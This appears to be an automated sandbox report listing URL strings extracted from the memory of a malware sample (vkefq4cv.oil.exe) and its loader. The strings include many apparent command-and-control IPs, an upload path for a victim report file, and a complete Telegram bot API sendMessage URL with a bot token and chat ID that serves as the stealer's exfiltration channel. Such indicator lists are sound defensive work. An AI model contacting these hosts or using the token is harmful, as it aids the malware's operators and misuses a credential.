Source: vkefq4cv.oil.exe, 00000004.00000002.1822502459.000001F997DF1000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000000B.00000002.4118051146.000001B8AB951000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 00000012.00000002.2064616867.0000010DD73F1000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000002A.00000002.2312217329.0000017A00001000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000002C.00000002.2953825020.000001EC019D3000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000002D.00000002.3553295709.00000167D1783000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://116.202.101.219:8080
Source: vkefq4cv.oil.exe, 00000012.00000002.2064616867.0000010DD8610000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://127.0.0.1:
Source: vkefq4cv.oil.exe, 00000012.00000002.2064616867.0000010DD854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://127.0.0.1:18772/handleOpenWSR?r=
Source: vkefq4cv.oil.exe, 00000012.00000002.2064616867.0000010DD859B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://127.0.0.1:18772/handleOpenWSR?r=http://185.119.118.59:8080/get/s9VbfeJdTs/hkLYW_user
Source: vkefq4cv.oil.exe, 00000012.00000002.2064616867.0000010DD8610000.00000004.00000800.00020000.00000000.sdmp, hahahahaha.txt.18.dr	String found in binary or memory: http://127.0.0.1:6787/
Source: vkefq4cv.oil.exe, 0000000B.00000002.4118051146.000001B8AB9D5000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 00000012.00000002.2064616867.0000010DD853B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://127.0.0.1:6787/ing=no
Source: vkefq4cv.oil.exe, 00000004.00000002.1822502459.000001F997DF1000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000000B.00000002.4118051146.000001B8AB951000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 00000012.00000002.2064616867.0000010DD73F1000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000002A.00000002.2312217329.0000017A00001000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000002C.00000002.2953825020.000001EC019D3000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000002D.00000002.3553295709.00000167D1783000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://129.151.109.160:8080
Source: vkefq4cv.oil.exe, 00000004.00000002.1822502459.000001F997DF1000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000000B.00000002.4118051146.000001B8AB951000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 00000012.00000002.2064616867.0000010DD73F1000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000002A.00000002.2312217329.0000017A00001000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000002C.00000002.2953825020.000001EC019D3000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000002D.00000002.3553295709.00000167D1783000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://144.126.132.141:8080
Source: vkefq4cv.oil.exe, 00000004.00000002.1822502459.000001F997DF1000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000000B.00000002.4118051146.000001B8AB951000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 00000012.00000002.2064616867.0000010DD73F1000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000002A.00000002.2312217329.0000017A00001000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000002C.00000002.2953825020.000001EC019D3000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000002D.00000002.3553295709.00000167D1783000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://149.88.44.159:80
Source: vkefq4cv.oil.exe, 00000004.00000002.1822502459.000001F997DF1000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000000B.00000002.4118051146.000001B8AB951000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 00000012.00000002.2064616867.0000010DD73F1000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000002A.00000002.2312217329.0000017A00001000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000002C.00000002.2953825020.000001EC019D3000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000002D.00000002.3553295709.00000167D1783000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://154.26.128.6:80
Source: vkefq4cv.oil.exe, 00000004.00000002.1822502459.000001F997DF1000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000000B.00000002.4118051146.000001B8AB951000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 00000012.00000002.2064616867.0000010DD73F1000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000002A.00000002.2312217329.0000017A00001000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000002C.00000002.2953825020.000001EC019D3000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000002D.00000002.3553295709.00000167D1783000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://18.228.80.130:80
Source: vkefq4cv.oil.exe, 00000012.00000002.2064616867.0000010DD8515000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.119.118.59
Source: vkefq4cv.oil.exe, 0000002A.00000002.2312217329.0000017A00001000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000002C.00000002.2953825020.000001EC019D3000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000002D.00000002.3553295709.00000167D1783000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.119.118.59:8080
Source: vkefq4cv.oil.exe, 00000012.00000002.2064616867.0000010DD8515000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.119.118.59:8080/%68%6B%4C%59%57%5F%6A%6F%6E%65%73%40%34%36%38%33%32%35%5F%72%65%70%6F%72%
Source: vkefq4cv.oil.exe, 00000012.00000002.2064616867.0000010DD854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.119.118.59:8080/get
Source: vkefq4cv.oil.exe, 00000012.00000002.2064616867.0000010DD859B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.119.118.59:8080/get/s9VbfeJdTs/hkLYW_user
Source: vkefq4cv.oil.exe, 00000012.00000002.2064616867.0000010DD8515000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.119.118.59:8080/hkLYW_user
Source: vkefq4cv.oil.exe, 00000012.00000002.2064616867.0000010DD8515000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.119.118.59:8080/hkLYW_user%40468325_report.wsr
Source: vkefq4cv.oil.exe, 00000012.00000002.2064616867.0000010DD854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.119.118.59:8080/s9VbfeJdTs/hkLYW_user
Source: vkefq4cv.oil.exe, 00000012.00000002.2064616867.0000010DD8515000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.119.118.59:80802
Source: vkefq4cv.oil.exe, 00000004.00000002.1822502459.000001F997DF1000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000000B.00000002.4118051146.000001B8AB951000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 00000012.00000002.2064616867.0000010DD73F1000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000002A.00000002.2312217329.0000017A00001000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000002C.00000002.2953825020.000001EC019D3000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000002D.00000002.3553295709.00000167D1783000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.217.98.121:80
Source: vkefq4cv.oil.exe, 00000004.00000002.1822502459.000001F997DF1000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000000B.00000002.4118051146.000001B8AB951000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 00000012.00000002.2064616867.0000010DD73F1000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000002A.00000002.2312217329.0000017A00001000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000002C.00000002.2953825020.000001EC019D3000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000002D.00000002.3553295709.00000167D1783000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.217.98.121:8080
Source: vkefq4cv.oil.exe, 00000004.00000002.1822502459.000001F997DF1000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000000B.00000002.4118051146.000001B8AB951000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 00000012.00000002.2064616867.0000010DD73F1000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000002A.00000002.2312217329.0000017A00001000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000002C.00000002.2953825020.000001EC019D3000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000002D.00000002.3553295709.00000167D1783000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://193.142.58.127:80
Source: vkefq4cv.oil.exe, 00000004.00000002.1822502459.000001F997DF1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://193.142.58.127:80Pk
Source: vkefq4cv.oil.exe, 00000004.00000002.1822502459.000001F997DF1000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000000B.00000002.4118051146.000001B8AB951000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 00000012.00000002.2064616867.0000010DD73F1000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000002A.00000002.2312217329.0000017A00001000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000002C.00000002.2953825020.000001EC019D3000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000002D.00000002.3553295709.00000167D1783000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://206.189.109.146:80
Source: vkefq4cv.oil.exe, 00000004.00000002.1822502459.000001F997DF1000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000000B.00000002.4118051146.000001B8AB951000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 00000012.00000002.2064616867.0000010DD73F1000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000002A.00000002.2312217329.0000017A00001000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000002C.00000002.2953825020.000001EC019D3000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000002D.00000002.3553295709.00000167D1783000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://212.6.44.53:8080
Source: vkefq4cv.oil.exe, 00000004.00000002.1822502459.000001F997DF1000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000000B.00000002.4118051146.000001B8AB951000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 00000012.00000002.2064616867.0000010DD73F1000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000002A.00000002.2312217329.0000017A00001000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000002C.00000002.2953825020.000001EC019D3000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000002D.00000002.3553295709.00000167D1783000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://216.250.190.139:80
Source: vkefq4cv.oil.exe, 00000004.00000002.1822502459.000001F997DF1000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000000B.00000002.4118051146.000001B8AB951000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 00000012.00000002.2064616867.0000010DD73F1000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000002A.00000002.2312217329.0000017A00001000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000002C.00000002.2953825020.000001EC019D3000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000002D.00000002.3553295709.00000167D1783000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://23.224.102.6:8001
Source: vkefq4cv.oil.exe, 00000004.00000002.1822502459.000001F997DF1000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000000B.00000002.4118051146.000001B8AB951000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 00000012.00000002.2064616867.0000010DD73F1000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000002A.00000002.2312217329.0000017A00001000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000002C.00000002.2953825020.000001EC019D3000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000002D.00000002.3553295709.00000167D1783000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://23.248.176.37:180
Source: vkefq4cv.oil.exe, 00000004.00000002.1822502459.000001F997DF1000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000000B.00000002.4118051146.000001B8AB951000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 00000012.00000002.2064616867.0000010DD73F1000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000002A.00000002.2312217329.0000017A00001000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000002C.00000002.2953825020.000001EC019D3000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000002D.00000002.3553295709.00000167D1783000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.61.136.13:80
Source: vkefq4cv.oil.exe, 00000004.00000002.1822502459.000001F997DF1000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000000B.00000002.4118051146.000001B8AB951000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 00000012.00000002.2064616867.0000010DD73F1000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000002A.00000002.2312217329.0000017A00001000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000002C.00000002.2953825020.000001EC019D3000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000002D.00000002.3553295709.00000167D1783000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.61.136.52:80
Source: vkefq4cv.oil.exe, 00000004.00000002.1822502459.000001F997DF1000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000000B.00000002.4118051146.000001B8AB951000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 00000012.00000002.2064616867.0000010DD73F1000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000002A.00000002.2312217329.0000017A00001000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000002C.00000002.2953825020.000001EC019D3000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000002D.00000002.3553295709.00000167D1783000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://66.42.56.128:80
Source: jqOHOuPMJP.exe, 00000000.00000002.1817122140.0000000002D84000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://82.147.85
Source: jqOHOuPMJP.exe, 00000000.00000002.1817122140.0000000002DAA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://82.147.85.194
Source: jqOHOuPMJP.exe, 00000000.00000002.1817122140.0000000002D84000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://82.147.85.194/byte/
Source: vkefq4cv.oil.exe, 00000012.00000002.2064616867.0000010DD8574000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 00000012.00000002.2064616867.0000010DD85C1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://api.telegram.org
Source: vkefq4cv.oil.exe, 0000000B.00000002.4115442750.000001B8A9D61000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.v
Source: vkefq4cv.oil.exe, 0000000B.00000002.4118051146.000001B8AB9E2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://e2111f95f52ba8be6b2d3394e38b1722.serveo.net:6787//e2111f95f52ba8be6b2d3394e38b1722.serveo.net
Source: vkefq4cv.oil.exe, 00000012.00000002.2064616867.0000010DD7480000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ip-api.com
Source: vkefq4cv.oil.exe, 00000012.00000002.2064616867.0000010DD7480000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ip-api.com/line?fields=query
Source: powershell.exe, 00000001.00000002.1715254235.000000000617A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000001.00000002.1717594364.000000000785F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/i?
Source: powershell.exe, 00000001.00000002.1712328855.0000000005266000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000001.00000002.1712328855.0000000005266000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 00000004.00000002.1822502459.000001F997DF1000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000000B.00000002.4118051146.000001B8AB951000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 00000012.00000002.2064616867.0000010DD73F1000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000002A.00000002.2312217329.0000017A00001000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000002C.00000002.2953825020.000001EC01A44000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000002D.00000002.3553295709.00000167D17F4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: jqOHOuPMJP.exe, 00000000.00000002.1817122140.0000000002D21000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1712328855.0000000005111000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 00000004.00000002.1822502459.000001F997F9F000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000000B.00000002.4118051146.000001B8AB951000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 00000012.00000002.2064616867.0000010DD73F1000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000002A.00000002.2312217329.0000017A001B2000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000002C.00000002.2953825020.000001EC01B62000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000002D.00000002.3553295709.00000167D1912000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000001.00000002.1712328855.0000000005266000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 00000004.00000002.1822502459.000001F997DF1000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000000B.00000002.4118051146.000001B8AB951000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 00000012.00000002.2064616867.0000010DD73F1000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000002A.00000002.2312217329.0000017A00001000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000002C.00000002.2953825020.000001EC01B33000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000002D.00000002.3553295709.00000167D18E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: Amcache.hve.41.dr	String found in binary or memory: http://upx.sf.net
Source: powershell.exe, 00000001.00000002.1712328855.0000000005266000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 00000001.00000002.1717242084.0000000007819000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.microsoft.co(=
Source: vkefq4cv.oil.exe, 00000012.00000002.2064616867.0000010DD7480000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 00000012.00000002.2064616867.0000010DD78E7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.w3.
Source: vkefq4cv.oil.exe, 00000004.00000002.1822502459.000001F997DF1000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000000B.00000002.4118051146.000001B8AB951000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 00000012.00000002.2064616867.0000010DD73F1000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000002A.00000002.2312217329.0000017A00001000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000002C.00000002.2953825020.000001EC019D3000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000002D.00000002.3553295709.00000167D1783000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://13.231.21.109:443
Source: vkefq4cv.oil.exe, 0000002A.00000002.2312217329.0000017A00001000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000002C.00000002.2953825020.000001EC019D3000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000002D.00000002.3553295709.00000167D1783000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://164.90.185.9:443
Source: vkefq4cv.oil.exe, 00000004.00000002.1822502459.000001F997DF1000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000000B.00000002.4118051146.000001B8AB951000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 00000012.00000002.2064616867.0000010DD73F1000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000002A.00000002.2312217329.0000017A00001000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000002C.00000002.2953825020.000001EC019D3000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000002D.00000002.3553295709.00000167D1783000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://18.178.28.151:443
Source: vkefq4cv.oil.exe, 00000004.00000002.1822502459.000001F997DF1000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000000B.00000002.4118051146.000001B8AB951000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 00000012.00000002.2064616867.0000010DD73F1000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000002A.00000002.2312217329.0000017A00001000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000002C.00000002.2953825020.000001EC019D3000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000002D.00000002.3553295709.00000167D1783000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://185.217.98.121:443
Source: vkefq4cv.oil.exe, 00000004.00000002.1822502459.000001F997DF1000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000000B.00000002.4118051146.000001B8AB951000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 00000012.00000002.2064616867.0000010DD73F1000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000002A.00000002.2312217329.0000017A00001000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000002C.00000002.2953825020.000001EC019D3000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000002D.00000002.3553295709.00000167D1783000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://192.99.196.191:443
Source: vkefq4cv.oil.exe, 00000004.00000002.1822502459.000001F997DF1000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000000B.00000002.4118051146.000001B8AB951000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 00000012.00000002.2064616867.0000010DD73F1000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000002A.00000002.2312217329.0000017A00001000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000002C.00000002.2953825020.000001EC019D3000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000002D.00000002.3553295709.00000167D1783000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://44.228.161.50:443
Source: vkefq4cv.oil.exe, 00000004.00000002.1822502459.000001F997DF1000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000000B.00000002.4118051146.000001B8AB951000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 00000012.00000002.2064616867.0000010DD73F1000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000002A.00000002.2312217329.0000017A00001000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000002C.00000002.2953825020.000001EC019D3000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000002D.00000002.3553295709.00000167D1783000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://64.227.21.98:443
Source: vkefq4cv.oil.exe, 00000012.00000002.2068696516.0000010DE751D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: powershell.exe, 00000001.00000002.1712328855.0000000005111000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore6lB
Source: vkefq4cv.oil.exe, 00000012.00000002.2064616867.0000010DD854A000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 00000012.00000002.2064616867.0000010DD85A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.tele
Source: vkefq4cv.oil.exe, 00000012.00000002.2064616867.0000010DD854A000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 00000012.00000002.2064616867.0000010DD8574000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 00000012.00000002.2064616867.0000010DD85A8000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 00000012.00000002.2064616867.0000010DD85C1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org
Source: vkefq4cv.oil.exe, 00000012.00000002.2064616867.0000010DD85A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot
Source: vkefq4cv.oil.exe, 00000012.00000002.2064616867.0000010DD854A000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 00000012.00000002.2064616867.0000010DD85A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot6352251597:AAF6uxZ1z4xhnUTnQP5u36WV5EeOgP0W_YY/sendMessage
Source: vkefq4cv.oil.exe, 00000012.00000002.2064616867.0000010DD85A8000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 00000012.00000002.2064616867.0000010DD85C1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot6352251597:AAF6uxZ1z4xhnUTnQP5u36WV5EeOgP0W_YY/sendMessage?chat_id=51697
Source: vkefq4cv.oil.exe, 00000012.00000002.2068696516.0000010DE751D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: vkefq4cv.oil.exe, 00000012.00000002.2068696516.0000010DE751D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: vkefq4cv.oil.exe, 00000012.00000002.2068696516.0000010DE751D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: powershell.exe, 00000001.00000002.1715254235.000000000617A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000001.00000002.1715254235.000000000617A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000001.00000002.1715254235.000000000617A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: vkefq4cv.oil.exe, 00000012.00000002.2068696516.0000010DE751D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: vkefq4cv.oil.exe, 00000012.00000002.2068696516.0000010DE751D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: vkefq4cv.oil.exe, 00000012.00000002.2068696516.0000010DE751D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
